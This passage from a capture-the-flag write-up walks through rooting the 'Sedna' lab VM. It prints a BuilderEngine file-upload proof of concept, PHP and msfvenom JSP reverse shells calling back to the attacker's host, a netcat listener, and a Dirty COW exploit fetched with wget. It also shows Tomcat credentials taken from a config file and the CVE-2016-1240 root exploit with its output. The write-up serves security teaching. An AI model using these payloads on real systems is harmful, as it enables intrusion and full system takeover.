identify site software”. I looked at the content of the file and it did indeed disclose the name of some software that was running.

This was at the top of the output:

The MIT License (MIT) Copyright (c) 2012 - 2015 BuilderEngine / Radian Enterprise Systems Limited.

Seeing as I know knew there was the “BuilderEngine” software on this server, I went searching in ExploitDB for a relevant exploit. Based on the license, we can see that the software likely hadn’t been updated since 2015. This exploit for BuilderEngine was published in 2016. The vulnerability is unauthenticated file upload. The PoC lists some simple HTML to upload a file and post it to the vulnerable service. The only thing we need to modify is change “localhost” to the IP of our target server.

<html> <body> <form method="post" action="http://10.0.1.22/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data"> <input type="file" name="files[]" /> <input type="submit" value="send" /> </form> </body> </html>

Because we can see that this server is running PHP, we can use the pentestmonkey php reverse shell.

We just need to make a few modifications to point to our server:

set_time_limit (0); $VERSION = "1.0"; $ip = '10.0.1.16'; // CHANGE THIS $port = 8080; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0;

The HTML PoC was saved to local file. Browsing to the file in a web browser allowed me to upload my PHP shell and have it accessible on the server.

The PHP shell could be triggered from http://10.0.1.22/files/pwn.php

I set up a netcat listener to catch the shell.

root@kali:~# nc -lvp 8080 listening on [any] 8080 ... 10.0.1.22: inverse host lookup failed: Unknown host connect to [10.0.1.16] from (UNKNOWN) [10.0.1.22] 47809 Linux Sedna 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux 00:17:53 up 31 min, 0 users, load average: 0.00, 0.01, 0.05 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data)

After a lot of enumeration, and attempting several exploits such as the overlayfs local root in ubuntu, I decided to look for something very recent. The dirtycow exploit was released late 2016 and is a good candidate to exploit this relatively newer Ubuntu system. There is more than one way to skin a cow, and the dirtycow Github page lists a number of PoCs. If you do a search on ExploitDB for an exploit the first one comes up is this one, which is based upon one of the original PoCs. After downloading the exploit code, I modified the username, and hosted it on my attacker system:

root@kali:~# python -m SimpleHTTPServer 8000 Serving HTTP on 0.0.0.0 port 8000 ... 10.0.1.22 - - [19/Mar/2017 01:29:31] "GET /cow.c HTTP/1.1" 200 -

I grabbed it using wget from the victim system, writing it into the /tmp directory. I then followed the instructions in the exploit comments to compile it:

$ gcc -pthread cow.c -o dirty -lcrypt $ python -c 'import pty;pty.spawn("/bin/bash")' www-data@Sedna:/tmp$ chmod +x dirty www-data@Sedna:/tmp$ ./dirty

After the exploit ran, I was able to log into the system via SSH with my new n00py account.

root@kali:~# ssh n00py@10.0.1.22 n00py@10.0.1.22's password: Permission denied, please try again. n00py@10.0.1.22's password: Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)* Documentation: https://help.ubuntu.com/System information as of Sat Mar 18 19:27:13 EDT 2017System load: 0.0 Memory usage: 5% Processes: 60 Usage of /: 30.2% of 7.26GB Swap usage: 0% Users logged in: 0Graph this data and manage this system at: https://landscape.canonical.com/

At this point I now had root, but was really curious about the Tomcat server still. While I was enumerating Tomcat I remember seeing some output in the 401 error that stated, “please examine the file conf/tomcat-users.xml in your installation. That file must contain the credentials to let you use this webapp.”

I found the tomcat-users.xml file, which disclosed the password for the management interface.

n00py@Sedna:/etc/tomcat7# cat tomcat-users.xml <?xml version='1.0' encoding='utf-8'?> <role rolename="manager-gui"/> <user username="tomcat" password="submitthisforpoints" roles="manager-gui"/> </tomcat-users>

Knowing that Metasploit contained a module for automatically uploading a war file (exploit/multi/http/tomcat_mgr_upload) ,I attempted to use it in the default configuration:

msf exploit(tomcat_mgr_upload) > exploit[*] Started reverse TCP handler on 10.0.1.16:1234 [*] Retrieving session ID and CSRF token... [*] Uploading and deploying bkyWIWqX8zLJeL9kjhApl... [*] Executing bkyWIWqX8zLJeL9kjhApl... [*] Undeploying bkyWIWqX8zLJeL9kjhApl ... [*] Sending stage (49645 bytes) to 10.0.1.22 [*] Meterpreter session 3 opened (10.0.1.16:1234 -> 10.0.1.22:53720) at 2017-03-19 01:36:44 -0400 meterpreter > [*] 10.0.1.22 - Meterpreter session 3 closed. Reason: Died

It created a meterpreter shell, but it died immediately. While I could have tried using different payloads withing the module, I decided to create a standalone payload with Msfvenom.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.1.16 LPORT=4444 -f war > shell.war WARNING: Nokogiri was built against LibXML version 2.9.2, but has dynamically loaded 2.9.4 Payload size: 1099 bytes

Once I created the war file, I could upload it through the Web UI. I could then trigger it by visiting http://10.0.1.22:8080/shell/

I still used Metasploit to catch the shell, as seen here:

msf exploit(handler) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp msf exploit(handler) > set payload java/jsp_shell_reverse_tcp payload => java/jsp_shell_reverse_tcp msf exploit(handler) > set LHOST 10.0.1.16 LHOST => 10.0.1.16 msf exploit(handler) > exploit[*] Started reverse TCP handler on 10.0.1.16:4444 [*] Starting the payload handler... [*] Command shell session 7 opened (10.0.1.16:4444 -> 10.0.1.22:59894) at 2017-03-19 01:53:53 -0400id uid=116(tomcat7) gid=126(tomcat7) groups=126(tomcat7)

As it turns out, Tomcat can also be used for privilege escalation as well. A recent exploit was discovered in 2016. From the advisory:

Tomcat (6, 7, 8) packages provided by default repositories on Debian-based distributions (including Debian, Ubuntu etc.) provide a vulnerable tomcat init script that allows local attackers who have already gained access to the tomcat account (for example, by exploiting an RCE vulnerability in a java web application hosted on Tomcat, uploading a webshell etc.) to escalate their privileges from tomcat user to root and fully compromise the target system.

I had tried running the exploit out of the box, but it failed because of this check:

# Safety check if [ -f /etc/ld.so.preload ]; then echo -e "

[!] /etc/ld.so.preload already exists. Exiting for safety." cleanexit 2 fi

As I already had root, I decided to make a simple modification just to see this exploit work. I backed up the ld.so.preload file:

n00py@Sedna:~# mv /etc/ld.so.preload /etc/ld.so.preload.bak

I then ran the exploit:

tomcat7@Sedna:/tmp$ ./tomcat.sh /var/log/tomcat7/catalina.out ./tomcat.sh /var/log/tomcat7/catalina.out Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit CVE-2016-1240 Discovered and coded by: Dawid Golunski http://legalhackers.com [+] Starting the exploit in [active] mode with the following privileges: uid=116(tomcat7) gid=126(tomcat7) groups=126(tomcat7) [+] Target Tomcat log file set to /var/log/tomcat7/catalina.out [+] Compiling the privesc shared library (/tmp/privesclib.c) [+] Backdoor/low-priv shell installed at: -rwxr-xr-x 1 tomcat7 tomcat7 986672 Mar 19 11:37 /tmp/tomcatrootsh [+] Symlink created at: lrwxrwxrwx 1 tomcat7 tomcat7 18 Mar 19 11:37 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload [+] Waiting for Tomcat to re-open the logs/Tomcat service restart... You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed 😉

To save time, I just used the root account to restart Tomcat:

n00py@Sedna:~# service tomcat7 restart * Stopping Tomcat servlet engine tomcat7 [ OK ] * Starting Tomcat servlet engine tomcat7 [ OK ]

This triggered the rest of the exploit, allowing me to gain a root shell from the Tomcat7 account.

[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: -rw-rw-rw- 1 n00py root 19 Mar 19 11:37 /etc/ld.so.preload [+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload [+] The /etc/ld.so.preload file now contains: /tmp/privesclib.so [+] Escalating privileges via the /usr/bin/sudo SUID binary to get root! [+] Rootshell got assigned root SUID perms at: -rwsrwxrwx 1 n00py root 986672 Mar 19 11:37 /tmp/tomcatrootsh Please tell me you're seeing this too 😉 [+] Executing the rootshell /tmp/tomcatrootsh now! tomcatrootsh-4.3# id id uid=116(tomcat7) gid=126(tomcat7) euid=0(n00py) groups=0(root),126(tomcat7)

And there we have it. While I’m sure there may be other ways to exploit this system, these are the ways I found. If anyone knows of others, feel free to comment.